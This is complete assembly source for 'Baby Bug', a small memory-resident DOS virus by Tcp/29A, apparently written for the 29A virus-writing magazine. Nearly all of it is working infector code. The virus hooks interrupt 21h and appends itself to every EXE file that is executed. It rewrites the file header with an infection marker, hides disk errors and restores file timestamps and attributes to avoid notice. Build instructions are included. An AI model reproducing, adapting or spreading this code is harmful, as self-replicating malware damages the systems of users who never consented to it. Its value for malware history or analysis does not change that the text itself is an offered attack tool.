;
;                                                  млллллм млллллм млллллм
;          Baby Bug                                ллл ллл ллл ллл ллл ллл
;          by Tcp/29A                               мммллп плллллл ллллллл
;                                                  лллмммм ммммллл ллл ллл
;                                                  ллллллл ллллллп ллл ллл
;
; Because in 29A#2 it wasn't going to be published any virus originally wri-
; tten by me and i did not like that, taking advantage of a little last-hour
; delay in the release of the magazine and of a rainy afternoon i decided to
; code this little virus. It is a 407 byte-long TSR EXE infector, which uses
; a pretty unusual code in order to process the EXE header... and this code,
; as you may imagine, takes less bytes than the standard one :)
;
;
; Compiling it
; ФФФФФФФФФФФФ
; tasm /m babybug.asm
; tlink babybyg.obj


                .286
                baby    segment
                assume  cs:baby, ds:baby, es:baby, ss:baby
                org     0

VIRUS_SIZE      =       end_virus - start
VIRUS_MEM_SIZE  =       memsize - start
VIR_PARAG       =       (VIRUS_MEM_SIZE + 15) / 16 + 1

start:
delta_ofs       equ     word ptr $+1
                mov     si,0                    ; mov si,delta_ofs
                push    ds
                push    es
                mov     ax,ds
                add     ax,10h
                add     cs:[si+f_relocs],ax     ; Relocate host CS & SS
                add     cs:[si+f_reloss],ax
                mov     ax,0BAB1h               ; Resident check
                int     21h
                cmp     ax,0BA03h               ; Already resident?
                je      exec_host               ; Yes? then jmp
                mov     ax,ds
                dec     ax
                mov     ds,ax
                mov     bx,ds:[0003]
                sub     bx,VIR_PARAG+1
                mov     ah,4Ah
                int     21h                     ; Adjust current block
                mov     ah,48h
                mov     bx,VIR_PARAG
                int     21h                     ; Get memory
                mov     es,ax
                push    cs
                pop     ds
                xor     di,di
                mov     cx,VIRUS_SIZE
                rep     movsb                   ; Copy virus to allocated mem
                push    es
                push    offset(mem_copy)
                retf

                db      '[Baby Bug, Tcp/29A]'

mem_copy:
                push    cs
                pop     ds
                dec     ax
                mov     es,ax
                mov     word ptr es:[0001],8    ; DOS MCB
                mov     ax,3521h                ; Read int 21h
                int     21h
                mov     [di],bx                 ; Store it
                mov     [di+2],es
                mov     dx,offset(vir_21h)      ; Virus int 21h
                mov     ah,25h
                int     21h
exec_host:
                pop     es
                pop     ds
                cli
                db      68h                     ; push f_reloss
f_reloss        dw      0FFF0h
                pop     ss
f_exesp         equ     word ptr $+1
                mov     sp,offset(memsize)      ; mov sp,f_exesp
                sti
                db      0EAh                    ; jmp host entry point
f_exeip         dw      0
f_relocs        dw      0FFF0h

vir_21h:
                cmp     ax,0BAB1h               ; Resident check?
                jne     check_exec              ; No? then jmp
int_24h:
                mov     al,3
                iret

check_exec:
                cmp     ax,4B00h                ; Exec file?
                je      process_file            ; Yes? then jmp
                jmp     jmp_real_21

process_file:
                pusha
                push    ds
                push    es
                mov     ax,3524h
                int     21h                     ; Read int 24h
                push    es
                push    bx
                mov     ah,25h
                push    ax
                push    ds
                push    dx
                push    cs
                pop     ds
                mov     dx,offset(int_24h)
                int     21h                     ; Set virus int 24h
                pop     dx
                pop     ds
                mov     ax,4300h
                push    ax
                int     21h                     ; Read file attributes
                pop     ax
                inc     ax
                push    ax
                push    cx
                push    ds
                push    dx
                xor     cx,cx
                int     21h                     ; Reset file attributes
                jnc     open_file
jmp_r_attr:
                jmp     restore_attr
open_file:
                mov     ax,3D02h
                int     21h                     ; Open file I/O
                jc      jmp_r_attr
                xchg    ax,bx
                push    cs
                pop     ds
                push    cs
                pop     es
                mov     ax,5700h
                int     21h                     ; Get file date/time
                push    ax
                push    cx
                push    dx
                mov     ah,3Fh
                mov     dx,offset(file_header)
                mov     cx,18h
                int     21h                     ; Read file header
                mov     si,dx
                stc
                lodsw                           ; Signature
                cmp     ax,'MZ'                 ; EXE?
                je      infect_exe              ; Yes? then jmp
                cmp     ax,'ZM'                 ; EXE?
                jne     jmp_r_datetime          ; Yes? then jmp
infect_exe:
                lodsw                           ; Part page
                xchg    ax,bp
                lodsw                           ; Number of 512 bytes pages
                or      bp,bp
                jz      no_sub_page
                dec     ax
no_sub_page:
                mov     cx,512
                mul     cx
                add     ax,bp                   ; Calculate file size
                adc     dx,0
                push    ax                      ; Save it
                push    dx
                lodsw                           ; Relocation items
                lodsw                           ; Header size
                xchg    ax,bp
                lodsw                           ; Min. memory
                lodsw                           ; Max. memory
                mov     di,offset(f_reloss)
                movsw                           ; SS
                scasw                           ; DI+2
                movsw                           ; SP
                scasw                           ; DI+2
                lodsw                           ; checksum
                movsw                           ; IP
                xchg    ax,dx
                lodsw                           ; CS
                stosw
                cmp     ax,dx                   ; checksum == CS? infected?
                pop     dx
                pop     ax
                je      restore_datetime        ; Yes? ten jmp
                push    bp
                push    ax
                push    dx
                mov     ax,4202h
                xor     cx,cx
                cwd
                int     21h                     ; Lseek end of file
                pop     cx
                pop     bp
                cmp     ax,bp                   ; Overlays?
                pop     bp
jmp_r_datetime:
                jne     restore_datetime        ; Yes? then jmp
                cmp     dx,cx                   ; Overlays?
                jne     restore_datetime        ; Yes? then jmp
                push    ax
                push    dx
                mov     cx,16                   ; Calculate virus CS, IP
                div     cx
                sub     ax,bp
                std
                mov     di,si
                scasw
                stosw                           ; CS
                xchg    ax,dx
                stosw                           ; IP
                mov     delta_ofs,ax
                xchg    ax,dx
                stosw                           ; Checksum = CS (infection mark)
                xchg    ax,dx
                mov     ax,VIR_PARAG*16         ; SP
                stosw
                xchg    ax,dx
                stosw                           ; SS
                cmpsw           ; hey! SUB DI,8 is only 3 bytes long, but it
                cmpsw           ;  doesn't roq... :)
                cmpsw
                cmpsw
                pop     dx
                pop     ax
                add     ax,VIRUS_SIZE           ; Calculate number of pages
                adc     dx,0
                mov     cx,512
                div     cx
                or      dx,dx
                jz      no_inc_pag
                inc     ax
no_inc_pag:
                stosw                           ; Number of pages
                xchg    ax,dx
                stosw                           ; Bytes in last page
                mov     ah,40h
                cwd
                mov     cx,VIRUS_SIZE
                int     21h                     ; Append virus body to file
                jc      restore_datetime
                mov     ax,4200h
                mov     cx,dx
                int     21h                     ; Lseek begin of file
                mov     ah,40h
                mov     dx,di
                mov     cx,18h
                int     21h                     ; Write new header to file
restore_datetime:
                pop     dx
                pop     cx
                pop     ax
                inc     ax                      ; 5701h
                int     21h                     ; Restore date & time
                mov     ah,3Eh
                int     21h                     ; Close file
restore_attr:
                pop     dx
                pop     ds
                pop     cx
                pop     ax
                int     21h                     ; Restore attributes
                pop     ax
                pop     dx
                pop     ds
                int     21h                     ; Restore int 24h
                pop     es
                pop     ds
                popa
jmp_real_21:
                db      0EAh                    ; jmp to int 21h
end_virus:
ofs_i21         dw      ?
seg_i21         dw      ?

file_header:
signature       dw      ?
part_page       dw      ?
pages           dw      ?
relo_items      dw      ?
hdrsize         dw      ?
mim_mem         dw      ?
max_mem         dw      ?
reloss          dw      ?
exesp           dw      ?
checksum        dw      ?
exeip           dw      ?
relocs          dw      ?

memsize:

baby    ends
        end     start

; Baby Bug, by Tcp/29A
; (c) 1997, Tcp/29A (tcp@cryogen.com)
